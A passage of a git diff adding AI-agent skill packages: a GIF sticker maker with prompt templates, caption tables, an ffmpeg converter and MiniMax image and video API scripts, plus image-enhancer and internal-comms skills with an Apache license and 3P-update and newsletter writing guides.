Person: preserve facial features, hairstyle, clothing +- Animal/Pet: preserve species, fur color, markings +- Object: stylize into cute mascot figurine +- Logo/Icon: transform to 3D toy, preserve original colors and shape + +Action: {action} +Caption: "{caption}" + +Caption rendering (CRITICAL — follow exactly): +- Black bold text with thick white outline stroke +- Large, clear sans-serif font (e.g. Impact, Helvetica Bold) +- MUST be placed at the absolute bottom center of the image as a standalone text banner +- MUST NOT appear on the character's body, clothing, or any accessory +- Leave visible gap between the character's feet and the caption text +- Text must have sharp anti-aliased edges — it must survive video animation without warping diff --git a/skills/gif-sticker-maker/assets/video-prompt-template.txt b/skills/gif-sticker-maker/assets/video-prompt-template.txt new file mode 100644 index 0000000..2c5cfc5 --- /dev/null +++ b/skills/gif-sticker-maker/assets/video-prompt-template.txt @@ -0,0 +1,14 @@ +Animate this cute 3D cartoon figurine performing: {action} + +Requirements: +- Smooth loopable motion, keep action within 6 seconds +- Character stays centered, white background remains static +- Text at bottom must stay sharp and stable — no warping, no blur + +Action reference: +- hi: wave hand cheerfully, slight head tilt +- laugh: shake with laughter, eyes squint shut +- cry: tears stream down, body trembles gently +- love: make heart gesture with both hands, eyes sparkle + +CRITICAL: The caption text must remain perfectly readable throughout the entire animation. Zero text distortion. diff --git a/skills/gif-sticker-maker/references/captions.md b/skills/gif-sticker-maker/references/captions.md new file mode 100644 index 0000000..0396ad4 --- /dev/null +++ b/skills/gif-sticker-maker/references/captions.md @@ -0,0 +1,25 @@ +# Default Captions by Language + +Select captions based on user's conversation language. + +| Action | English | Spanish | French | German | Chinese | Japanese | Korean | +|--------|---------|---------|--------|--------|---------|----------|--------| +| Waving | Hi~ | ¡Hola! | Salut~ | Hallo~ | 嗨~ | やあ~ | 안녕~ | +| Laughing | LOL | Jajaja | MDR | Haha | 哈哈哈 | 笑 | ㅋㅋㅋ | +| Crying | Boo-hoo | Buaaa | Snif | Heul | 呜呜呜 | えーん | 흑흑 | +| Heart | Love ya | Te quiero | Je t'aime | Liebe | 爱你哦 | 大好き | 사랑해 | + +## Filename Convention + +| Action | Filename ID | +|--------|-------------| +| Happy waving | hi | +| Laughing hard | laugh | +| Crying tears | cry | +| Heart gesture | love | + +## Custom Caption Guidelines + +- Keep captions short: 1-3 words work best +- Actions auto-match caption meaning (e.g., "Sleepy" → yawning action) +- Users can provide captions in any language diff --git a/skills/gif-sticker-maker/references/requirements.txt b/skills/gif-sticker-maker/references/requirements.txt new file mode 100644 index 0000000..26b28de --- /dev/null +++ b/skills/gif-sticker-maker/references/requirements.txt @@ -0,0 +1,5 @@ +# Python dependencies +requests>=2.28 + +# System dependency (install separately): +# ffmpeg — brew install ffmpeg (macOS) / apt install ffmpeg (Ubuntu) diff --git a/skills/gif-sticker-maker/scripts/convert_mp4_to_gif.py b/skills/gif-sticker-maker/scripts/convert_mp4_to_gif.py new file mode 100644 index 0000000..11fdbb5 --- /dev/null +++ b/skills/gif-sticker-maker/scripts/convert_mp4_to_gif.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +Batch MP4 → GIF converter using ffmpeg. + +Usage: + python convert_mp4_to_gif.py sticker_hi.mp4 sticker_laugh.mp4 sticker_cry.mp4 sticker_love.mp4 + python convert_mp4_to_gif.py *.mp4 --fps 12 --width 320 + python convert_mp4_to_gif.py input.mp4 -o custom_output.gif + +Requires: ffmpeg (must be on PATH) +""" + +import os +import sys +import argparse +import subprocess +import shutil + + +def check_ffmpeg(): + if not shutil.which("ffmpeg"): + raise SystemExit("ERROR: ffmpeg not found. Install via: brew install ffmpeg / apt install ffmpeg") + + +def mp4_to_gif(input_path: str, output_path: str, fps: int = 15, width: int = 360): + """Convert a single MP4 to GIF via ffmpeg two-pass (palette for quality).""" + if not os.path.isfile(input_path): + print(f"SKIP: {input_path} not found", file=sys.stderr) + return False + + palette = output_path + ".palette.png" + scale_filter = f"fps={fps},scale={width}:-1:flags=lanczos" + + try: + subprocess.run( + ["ffmpeg", "-y", "-i", input_path, + "-vf", f"{scale_filter},palettegen=stats_mode=diff", + palette], + check=True, capture_output=True, + ) + subprocess.run( + ["ffmpeg", "-y", "-i", input_path, "-i", palette, + "-lavfi", f"{scale_filter} [x]; [x][1:v] paletteuse=dither=bayer:bayer_scale=5:diff_mode=rectangle", + output_path], + check=True, capture_output=True, + ) + except subprocess.CalledProcessError as e: + print(f"FAIL: {input_path} -> {e.stderr.decode()[-200:]}", file=sys.stderr) + return False + finally: + if os.path.exists(palette): + os.remove(palette) + + size = os.path.getsize(output_path) + print(f"OK: {size:,} bytes -> {output_path}") + return True + + +def main(): + p = argparse.ArgumentParser(description="Batch MP4 → GIF converter (ffmpeg two-pass palette)") + p.add_argument("inputs", nargs="+", help="MP4 file(s) to convert") + p.add_argument("-o", "--output", default=None, help="Output path (only for single file input)") + p.add_argument("--fps", type=int, default=15, help="GIF frame rate (default: 15)") + p.add_argument("--width", type=int, default=360, help="GIF width in pixels, height auto-scaled (default: 360)") + args = p.parse_args() + + if args.output and len(args.inputs) > 1: + raise SystemExit("ERROR: -o/--output only works with a single input file") + + check_ffmpeg() + + ok, fail = 0, 0 + for mp4 in args.inputs: + if args.output: + gif_path = args.output + else: + gif_path = os.path.splitext(mp4)[0] + ".gif" + + if mp4_to_gif(mp4, gif_path, fps=args.fps, width=args.width): + ok += 1 + else: + fail += 1 + + print(f"\nDone: {ok} converted, {fail} failed") + + +if __name__ == "__main__": + main() diff --git a/skills/gif-sticker-maker/scripts/minimax_image.py b/skills/gif-sticker-maker/scripts/minimax_image.py new file mode 100755 index 0000000..7210c09 --- /dev/null +++ b/skills/gif-sticker-maker/scripts/minimax_image.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +MiniMax Text-to-Image — synchronous generation with optional character reference. + +Usage: + python3 minimax_image.py "A cat in space" -o cat.png + python3 minimax_image.py "Mountain landscape" -o bg.png --ratio 16:9 + python3 minimax_image.py "Funko Pop figurine waving" -o sticker.png --subject-ref photo.jpg + +Env: MINIMAX_API_KEY (required) +""" + +import os +import sys +import json +import base64 +import argparse +import requests + +API_KEY = os.getenv("MINIMAX_API_KEY") +API_BASE = "https://api.minimax.io/v1" + +ASPECT_RATIOS = ["1:1", "16:9", "4:3", "3:2", "2:3", "3:4", "9:16", "21:9"] + + +def _headers(): + if not API_KEY: + raise SystemExit("ERROR: MINIMAX_API_KEY is not set.\n export MINIMAX_API_KEY='your-key'") + return { + "Authorization": f"Bearer {API_KEY}", + "Content-Type": "application/json", + } + + +def _encode_image(image_path: str) -> str: + """Read local image file and return base64 data URI.""" + ext = os.path.splitext(image_path)[1].lower().lstrip(".") + mime_map = {"jpg": "jpeg", "jpeg": "jpeg", "png": "png", "webp": "webp"} + mime = mime_map.get(ext, "jpeg") + with open(image_path, "rb") as f: + raw = f.read() + return f"data:image/{mime};base64,{base64.b64encode(raw).decode()}" + + +def generate_image( + prompt: str, + model: str = "image-01", + aspect_ratio: str = "1:1", + n: int = 1, + response_format: str = "url", + prompt_optimizer: bool = False, + seed: int = None, + subject_reference: list = None, +) -> dict: + """Generate image(s). Returns API response dict.""" + payload = { + "model": model, + "prompt": prompt, + "aspect_ratio": aspect_ratio, + "n": n, + "response_format": response_format, + "prompt_optimizer": prompt_optimizer, + } + if seed is not None: + payload["seed"] = seed + if subject_reference: + payload["subject_reference"] = subject_reference + + resp = requests.post( + f"{API_BASE}/image_generation", + headers=_headers(), + json=payload, + timeout=120, + ) + resp.raise_for_status() + data = resp.json() + + base_resp = data.get("base_resp", {}) + if base_resp.get("status_code", 0) != 0: + raise SystemExit(f"API Error [{base_resp.get('status_code')}]: {base_resp.get('status_msg')}") + + return data + + +def download_and_save(url: str, output_path: str): + """Download image from URL and save.""" + resp = requests.get(url, timeout=60) + resp.raise_for_status() + with open(output_path, "wb") as f: + f.write(resp.content) + return len(resp.content) + + +def main(): + p = argparse.ArgumentParser(description="MiniMax Text-to-Image") + p.add_argument("prompt", help="Image description (max 1500 chars)") + p.add_argument("-o", "--output", required=True, help="Output file path (.png/.jpg)") + p.add_argument("--model", default="image-01", help="Model (default: image-01)") + p.add_argument("--ratio", default="1:1", choices=ASPECT_RATIOS, help="Aspect ratio (default: 1:1)") + p.add_argument("-n", "--count", type=int, default=1, choices=range(1, 10), help="Number of images (1-9, default: 1)") + p.add_argument("--seed", type=int, default=None, help="Random seed for reproducibility") + p.add_argument("--optimize", action="store_true", help="Enable prompt auto-optimization") + p.add_argument("--base64", action="store_true", help="Use base64 response instead of URL") + p.add_argument("--subject-ref", default=None, + help="Reference image for character likeness (local path or URL, person only)") + p.add_argument("--subject-type", default="character", + help="Subject reference type (default: character)") + args = p.parse_args() + + os.makedirs(os.path.dirname(args.output) or ".", exist_ok=True) + + subject_ref = None + if args.subject_ref: + ref_value = args.subject_ref + if not ref_value.startswith(("http://", "https://", "data:")): + ref_value = _encode_image(ref_value) + subject_ref = [{"type": args.subject_type, "image_file": ref_value}] + + fmt = "base64" if args.base64 else "url" + result = generate_image( + prompt=args.prompt, + model=args.model, + aspect_ratio=args.ratio, + n=args.count, + response_format=fmt, + prompt_optimizer=args.optimize, + seed=args.seed, + subject_reference=subject_ref, + ) + + meta = result.get("metadata", {}) + print(f"Generated: {meta.get('success_count', '?')} success, {meta.get('failed_count', '?')} failed") + + if args.base64: + images = result.get("data", {}).get("image_base64", []) + for i, b64 in enumerate(images): + path = args.output if len(images) == 1 else _numbered_path(args.output, i) + raw = base64.b64decode(b64) + with open(path, "wb") as f: + f.write(raw) + print(f"OK: {len(raw)} bytes -> {path}") + else: + urls = result.get("data", {}).get("image_urls", []) + for i, url in enumerate(urls): + path = args.output if len(urls) == 1 else _numbered_path(args.output, i) + size = download_and_save(url, path) + print(f"OK: {size} bytes -> {path}") + + +def _numbered_path(path: str, index: int) -> str: + """Insert index before extension: out.png -> out-0.png""" + base, ext = os.path.splitext(path) + return f"{base}-{index}{ext}" + + +if __name__ == "__main__": + main() diff --git a/skills/gif-sticker-maker/scripts/minimax_video.py b/skills/gif-sticker-maker/scripts/minimax_video.py new file mode 100755 index 0000000..4348b80 --- /dev/null +++ b/skills/gif-sticker-maker/scripts/minimax_video.py @@ -0,0 +1,226 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +MiniMax Video Generation — supports both Text-to-Video and Image-to-Video. + +Usage (T2V): + python minimax_video.py "A cat playing piano" -o cat.mp4 + python minimax_video.py "Ocean waves [Truck left]" -o waves.mp4 --duration 10 + +Usage (I2V): + python minimax_video.py "Character waves cheerfully" --image sticker.png -o sticker.mp4 + python minimax_video.py "Figurine laughing" --image laugh.png -o laugh.mp4 --duration 6 + +Env: MINIMAX_API_KEY (required) +""" + +import os +import sys +import json +import time +import base64 +import argparse +import requests + +API_KEY = os.getenv("MINIMAX_API_KEY") +API_BASE = "https://api.minimax.io/v1" + +I2V_MODELS = [ + "MiniMax-Hailuo-2.3", + "MiniMax-Hailuo-2.3-Fast", + "MiniMax-Hailuo-02", + "I2V-01-Director", + "I2V-01-live", + "I2V-01", +] + +T2V_MODELS = [ + "MiniMax-Hailuo-2.3", + "MiniMax-Hailuo-02", + "T2V-01-Director", + "T2V-01", +] + + +def _headers(): + if not API_KEY: + raise SystemExit("ERROR: MINIMAX_API_KEY is not set.\n export MINIMAX_API_KEY='your-key'") + return { + "Authorization": f"Bearer {API_KEY}", + "Content-Type": "application/json", + } + + +def _check_resp(data): + base_resp = data.get("base_resp", {}) + code = base_resp.get("status_code", 0) + if code != 0: + msg = base_resp.get("status_msg", "Unknown error") + raise SystemExit(f"API Error [{code}]: {msg}") + + +def _encode_image(image_path: str) -> str: + """Read local image file and return base64 data URI.""" + ext = os.path.splitext(image_path)[1].lower().lstrip(".") + mime_map = {"jpg": "jpeg", "jpeg": "jpeg", "png": "png", "webp": "webp"} + mime = mime_map.get(ext, "png") + + with open(image_path, "rb") as f: + raw = f.read() + + return f"data:image/{mime};base64,{base64.b64encode(raw).decode()}" + + +def create_task( + prompt: str, + model: str = "MiniMax-Hailuo-2.3", + duration: int = 6, + resolution: str = "768P", + prompt_optimizer: bool = True, + first_frame_image: str = None, +) -> str: + """Submit a video generation task (T2V or I2V). Returns task_id.""" + payload = { + "model": model, + "prompt": prompt, + "duration": duration, + "resolution": resolution, + "prompt_optimizer": prompt_optimizer, + } + + if first_frame_image: + payload["first_frame_image"] = first_frame_image + + resp = requests.post( + f"{API_BASE}/video_generation", + headers=_headers(), + json=payload, + timeout=30, + ) + resp.raise_for_status() + data = resp.json() + _check_resp(data) + + task_id = data.get("task_id") + if not task_id: + raise SystemExit(f"No task_id in response: {json.dumps(data, indent=2)}") + return task_id + + +def poll_task(task_id: str, interval: int = 10, max_wait: int = 600) -> str: + """Poll task status until Success. Returns file_id.""" + elapsed = 0 + while elapsed < max_wait: + resp = requests.get( + f"{API_BASE}/query/video_generation", + headers=_headers(), + params={"task_id": task_id}, + timeout=30, + ) + resp.raise_for_status() + data = resp.json() + _check_resp(data) + + status = data.get("status", "") + file_id = data.get("file_id", "") + + if status == "Success": + if not file_id: + raise SystemExit("Task succeeded but no file_id returned") + print(f" Done! file_id={file_id}") + return file_id + elif status == "Fail": + raise SystemExit(f"Video generation failed: {json.dumps(data, indent=2)}") + else: + print(f" [{elapsed}s] Status: {status}...") + time.sleep(interval) + elapsed += interval + + raise SystemExit(f"Timeout after {max_wait}s. task_id={task_id}, check manually.") + + +def download_video(file_id: str, output_path: str): + """Retrieve download URL via file_id and save the video.""" + resp = requests.get( + f"{API_BASE}/files/retrieve", + headers=_headers(), + params={"file_id": file_id}, + timeout=30, + ) + resp.raise_for_status() + data = resp.json() + _check_resp(data) + + download_url = data.get("file", {}).get("download_url", "") + if not download_url: + raise SystemExit(f"No download_url in response: {json.dumps(data, indent=2)}") + + print(f" Downloading from {download_url[:80]}...") + video_resp = requests.get(download_url, timeout=300) + video_resp.raise_for_status() + + os.makedirs(os.path.dirname(output_path) or ".", exist_ok=True) + with open(output_path, "wb") as f: + f.write(video_resp.content) + + print(f"OK: {len(video_resp.content)} bytes -> {output_path}") + + +def generate( + prompt: str, + output_path: str, + model: str = "MiniMax-Hailuo-2.3", + duration: int = 6, + resolution: str = "768P", + prompt_optimizer: bool = True, + poll_interval: int = 10, + max_wait: int = 600, + image_path: str = None, +): + """Full pipeline: create task -> poll -> download.""" + mode = "I2V" if image_path else "T2V" + print(f"Creating {mode} task...") + print(f" Model: {model} | Duration: {duration}s | Resolution: {resolution}") + if image_path: + print(f" Image: {image_path}") + print(f" Prompt: {prompt[:100]}{'...' if len(prompt) > 100 else ''}") + + first_frame = _encode_image(image_path) if image_path else None + task_id = create_task(prompt, model, duration, resolution, prompt_optimizer, first_frame) + print(f" task_id={task_id}") + print(f"Waiting for generation...") + + file_id = poll_task(task_id, poll_interval, max_wait) + download_video(file_id, output_path) + + +def main(): + all_models = sorted(set(T2V_MODELS + I2V_MODELS)) + p = argparse.ArgumentParser(description="MiniMax Video Generation (T2V + I2V)") + p.add_argument("prompt", help="Video description (max 2000 chars). Use [Camera Command] for camera control.") + p.add_argument("-o", "--output", required=True, help="Output file path (.mp4)") + p.add_argument("--image", default=None, help="First frame image path for I2V mode (jpg/png/webp, <20MB)") + p.add_argument("--model", default="MiniMax-Hailuo-2.3", choices=all_models, + help="Model (default: MiniMax-Hailuo-2.3)") + p.add_argument("--duration", type=int, default=6, choices=[6, 10], help="Duration in seconds (default: 6)") + p.add_argument("--resolution", default="768P", choices=["720P", "768P", "1080P"], help="Resolution (default: 768P)") + p.add_argument("--no-optimize", action="store_true", help="Disable prompt auto-optimization") + p.add_argument("--poll-interval", type=int, default=10, help="Poll interval in seconds (default: 10)") + p.add_argument("--max-wait", type=int, default=600, help="Max wait time in seconds (default: 600)") + args = p.parse_args() + + generate( + prompt=args.prompt, + output_path=args.output, + model=args.model, + duration=args.duration, + resolution=args.resolution, + prompt_optimizer=not args.no_optimize, + poll_interval=args.poll_interval, + max_wait=args.max_wait, + image_path=args.image, + ) + + +if __name__ == "__main__": + main() diff --git a/skills/image-enhancer/SKILL.md b/skills/image-enhancer/SKILL.md new file mode 100644 index 0000000..a2de801 --- /dev/null +++ b/skills/image-enhancer/SKILL.md @@ -0,0 +1,106 @@ +--- +name: image-enhancer +description: Improves the quality of images, especially screenshots, by enhancing resolution, sharpness, and clarity. Perfect for preparing images for presentations, documentation, or social media posts. +--- + +# Image Enhancer + +This skill takes your images and screenshots and makes them look better—sharper, clearer, and more professional. + +## Prerequisites + +- **Python 3.7+**: Required for image processing scripts +- **PIL/Pillow**: Image library (install via `pip install pillow`) +- **OpenCV (cv2)**: Advanced image enhancement (install via `pip install opencv-python`) +- **Optional**: waifu2x or similar upscaling models for AI enhancement + +## When to Use This Skill + +- Improving screenshot quality for blog posts or documentation +- Enhancing images before sharing on social media +- Preparing images for presentations or reports +- Upscaling low-resolution images +- Sharpening blurry photos +- Cleaning up compressed images + +## What This Skill Does + +1. **Analyzes Image Quality**: Checks resolution, sharpness, and compression artifacts +2. **Enhances Resolution**: Upscales images intelligently +3. **Improves Sharpness**: Enhances edges and details +4. **Reduces Artifacts**: Cleans up compression artifacts and noise +5. **Optimizes for Use Case**: Adjusts based on intended use (web, print, social media) + +## How to Use + +### Basic Enhancement + +``` +Improve the image quality of screenshot.png +``` + +``` +Enhance all images in this folder +``` + +### Specific Improvements + +``` +Upscale this image to 4K resolution +``` + +``` +Sharpen this blurry screenshot +``` + +``` +Reduce compression artifacts in this image +``` + +### Batch Processing + +``` +Improve the quality of all PNG files in this directory +``` + +## Example + +**User**: "Improve the image quality of screenshot-2024.png" + +**Output**: +``` +Analyzing screenshot-2024.png... + +Current specs: +- Resolution: 1920x1080 +- Format: PNG +- Quality: Good, but slight blur + +Enhancements applied: +✓ Upscaled to 2560x1440 (retina) +✓ Sharpened edges +✓ Enhanced text clarity +✓ Optimized file size + +Saved as: screenshot-2024-enhanced.png +Original preserved as: screenshot-2024-original.png +``` + +**Inspired by:** Lenny Rachitsky's workflow from his newsletter - used for screenshots in his articles + +## Tips + +- Always keeps original files as backup +- Works best with screenshots and digital images +- Can batch process entire folders +- Specify output format if needed (PNG for quality, JPG for smaller size) +- For social media, mention the platform for optimal sizing + +## Common Use Cases + +- **Blog Posts**: Enhance screenshots before publishing +- **Documentation**: Make UI screenshots crystal clear +- **Social Media**: Optimize images for Twitter, LinkedIn, Instagram +- **Presentations**: Upscale images for large screens +- **Print Materials**: Increase resolution for physical media + diff --git a/skills/internal-comms/LICENSE.txt b/skills/internal-comms/LICENSE.txt new file mode 100644 index 0000000..7a4a3ea --- /dev/null +++ b/skills/internal-comms/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/internal-comms/SKILL.md b/skills/internal-comms/SKILL.md new file mode 100644 index 0000000..e4a151d --- /dev/null +++ b/skills/internal-comms/SKILL.md @@ -0,0 +1,32 @@ +--- +name: internal-comms +description: A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. OpenCode should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.). +license: Complete terms in LICENSE.txt +--- + +## When to use this skill +To write internal communications, use this skill for: +- 3P updates (Progress, Plans, Problems) +- Company newsletters +- FAQ responses +- Status reports +- Leadership updates +- Project updates +- Incident reports + +## How to use this skill + +To write any internal communication: + +1. **Identify the communication type** from the request +2. **Load the appropriate guideline file** from the `examples/` directory: + - `examples/3p-updates.md` - For Progress/Plans/Problems team updates + - `examples/company-newsletter.md` - For company-wide newsletters + - `examples/faq-answers.md` - For answering frequently asked questions + - `examples/general-comms.md` - For anything else that doesn't explicitly match one of the above +3. **Follow the specific instructions** in that file for formatting, tone, and content gathering + +If the communication type doesn't match any existing guideline, ask for clarification or more context about the desired format. + +## Keywords +3P updates, company newsletter, company comms, weekly update, faqs, common questions, updates, internal comms diff --git a/skills/internal-comms/examples/3p-updates.md b/skills/internal-comms/examples/3p-updates.md new file mode 100644 index 0000000..5329bfb --- /dev/null +++ b/skills/internal-comms/examples/3p-updates.md @@ -0,0 +1,47 @@ +## Instructions +You are being asked to write a 3P update. 3P updates stand for "Progress, Plans, Problems." The main audience is for executives, leadership, other teammates, etc. They're meant to be very succinct and to-the-point: think something you can read in 30-60sec or less. They're also for people with some, but not a lot of context on what the team does. + +3Ps can cover a team of any size, ranging all the way up to the entire company. The bigger the team, the less granular the tasks should be. For example, "mobile team" might have "shipped feature" or "fixed bugs," whereas the company might have really meaty 3Ps, like "hired 20 new people" or "closed 10 new deals." + +They represent the work of the team across a time period, almost always one week. They include three sections: +1) Progress: what the team has accomplished over the next time period. Focus mainly on things shipped, milestones achieved, tasks created, etc. +2) Plans: what the team plans to do over the next time period. Focus on what things are top-of-mind, really high priority, etc. for the team. +3) Problems: anything that is slowing the team down. This could be things like too few people, bugs or blockers that are preventing the team from moving forward, some deal that fell through, etc. + +Before writing them, make sure that you know the team name. If it's not specified, you can ask explicitly what the team name you're writing for is. + + +## Tools Available +Whenever possible, try to pull from available sources to get the information you need: +- Slack: posts from team members with their updates - ideally look for posts in large channels with lots of reactions +- Google Drive: docs written from critical team members with lots of views +- Email: emails with lots of responses of lots of content that seems relevant +- Calendar: non-recurring meetings that have a lot of importance, like product reviews, etc. + + +Try to gather as much context as you can, focusing on the things that covered the time period you're writing for: +- Progress: anything between a week ago and today +- Plans: anything from today to the next week +- Problems: anything between a week ago and today + + +If you don't have access, you can ask the user for things they want to cover. They might also include these things to you directly, in which case you're mostly just formatting for this particular format. + +## Workflow + +1. **Clarify scope**: Confirm the team name and time period (usually past week for Progress/Problems, next +week for Plans) +2. **Gather information**: Use available tools or ask the user directly +3. **Draft the update**: Follow the strict formatting guidelines +4. **Review**: Ensure it's concise (30-60 seconds to read) and data-driven + +## Formatting + +The format is always the same, very strict formatting. Never use any formatting other than this. Pick an emoji that is fun and captures the vibe of the team and update. + +[pick an emoji] [Team Name] (Dates Covered, usually a week) +Progress: [1-3 sentences of content] +Plans: [1-3 sentences of content] +Problems: [1-3 sentences of content] + +Each section should be no more than 1-3 sentences: clear, to the point. It should be data-driven, and generally include metrics where possible. The tone should be very matter-of-fact, not super prose-heavy. \ No newline at end of file diff --git a/skills/internal-comms/examples/company-newsletter.md b/skills/internal-comms/examples/company-newsletter.md new file mode 100644 index 0000000..4997a07 --- /dev/null +++ b/skills/internal-comms/examples/company-newsletter.md @@ -0,0 +1,65 @@ +## Instructions +You are being asked to write a company-wide newsletter update. You are meant to summarize the past week/month of a company in the form of a newsletter that the entire company will read. It should be maybe ~20-25 bullet points long. It will be sent via Slack and email, so make it consumable for that. + +Ideally it includes the following attributes: +- Lots of links: pulling documents from Google Drive that are very relevant, linking to prominent Slack messages in announce channels and from executives, perhgaps referencing emails that went company-wide, highlighting significant things that have happened in the company. +- Short and to-the-point: each bullet should probably be no longer than ~1-2 sentences +- Use the "we" tense, as you are part of the company. Many of the bullets should say "we did this" or "we did that" + +## Tools to use +If you have access to the 